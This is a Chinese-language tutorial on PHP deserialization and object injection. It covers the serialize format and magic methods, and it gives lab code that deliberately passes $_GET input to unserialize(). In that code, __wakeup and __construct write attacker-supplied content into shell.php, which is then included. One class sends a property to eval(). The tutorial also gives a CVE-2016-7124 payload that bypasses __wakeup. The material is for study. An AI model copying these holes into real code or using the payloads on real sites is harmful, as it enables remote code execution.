PHP反序列化
- 又称php对象注入漏洞
序列化与反序列化
-
php序列化有两个函数serialize() 和unserialize()。
-
序列化是对象串行化,对象是一种在内存中存储的数据类型,寿命是随生成该对象的程序的终止而终止,为了持久使用对象的状态,将其通过serialize()函数进行序列化为一行字符串保存为文件,使用时再用unserialize()反序列化为对象
-
序列化后的格式
bool
b:value
b:0 //false
b:1 //true b代表bool型,冒号后面是值
整数
i:value
i:1
i:-1 // i代表里类型
字符
s:length:"value";
s:4:"aaaa"; //s是字符串 4代表长度
NULL
N;
数组
a:<length>:{key, value pairs};
a:1:{i:1;s:1:"a";}
对象
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
序列化测试
- serialize():产生一个可存储的值的表示,把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。测试代码如下;
<?php
class Amire0x{
var $test = '123';
}
$a = new Amire0x();
print_r(serialize($a));
echo "<br>";
$b = 'O:7:"Amire0x":1:{s:4:"test";s:3:"123";}';
print_r(unserialize($b));
?>
结果
- 注释
0:表示存储的是对象
7:表示对象名称有7个字符
"Amire0x":表示对象的名称
1:表示有1个值
{s:4:"test";s:3:"123";}
s:表示字符串
4:表示长度
"test":表示名称
反序列化漏洞
PHP对象常见魔术方法
-
construct()
创建(new)时会自动调用。但在unserialize()时是不会自动调用的。 -
__destruct()
对象被销毁的时候调用 -
__toString()
对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发) -
__sleep()
序列化对象之前就调用此方法(其返回需要是一个数组) -
__wakeup()
反序列化恢复对象之前就调用此方法,unserialize()时会自动调用 -
__call()
当调用对象中不存在的方法会自动调用此方法 -
__callStatic()
在静态上下文中调用不可访问的方法时触发
漏洞测试
当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
- 特性测试
<?php
class Amire0x{
var $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __construct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$class2 = 'O:7:"Amire0x":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>
执行后
可以看到,unserialize()后会导致__wakeup()
的直接调用,中间无需其他过程。由此,可以知道有一些漏洞或危险代码在这个函数,然后控制序列化字符串去直接触发它们
-
对
__wakeup()
复现一下基本的思路是,本地搭建好环境,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为
<?php phpinfo(); ?>
,再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。为此我们写个php脚本:
<?php
class Amire0x{
var $test = 'aaa';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = new Amire0x();
$class3->test = $_GET['test'];
$class3 = serialize($class3);
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>
- 得到结果
-
__construct()
,一次unserialize()中并不会直接调用的魔术函数,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,找到漏洞点。 -
如代码
<?php
class Am0x{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class Amire0x{
var $test = '123';
function __wakeup(){
$obj = new Am0x($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>
这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 __wakeup()
函数,从而在new Am0x()
会自动调用对象Am0x中的__construct()
方法,从而把<?php phpinfo() ?>
写入到 shell.php中。
- 利用普通成员,如
<?php
class Amire0x {
var $test;
function __construct() {
$this->test = new Am0x();
}
function __destruct() {
$this->test->action();
}
}
class Am0x {
function action() {
echo "Am0x";
}
}
class Am0x2 {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new Amire0x();
unserialize($_GET['test']);
?>
本意上,new一个新的Amire0x对象后,调用__construct()
,其中又new了Am0x对象。在结束后会调用__destruct()
,其中会调用action(),从而输出 Am0x。
__wakeup()绕过
-
CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
-
反序列化可以控制类属性,无论是private还是public
-
测试源码
<?php error_reporting(0); class Amire0x{ public $test = 'abc'; function __destruct(){ if(!empty($this->test)){ if($this->test == 'abc') echo "Congratulations!"; } } function __wakeup(){ $this->test = 'You failed buddy!'; echo "$this->test"; } public function __toString(){ return ''; } } if(!isset($_GET['answer'])){ show_source('1.php'); }else{ $answer = $_GET['answer']; echo $answer; echo '<br>'; echo unserialize($answer); } ?>
尝试构造answer
O:7:"Amire0x":1:{s:4:"test";s:3:"abc";}
失败,未绕过
改变对象的值
O:7:"Amire0x":2:{s:4:"test";s:3:"abc";}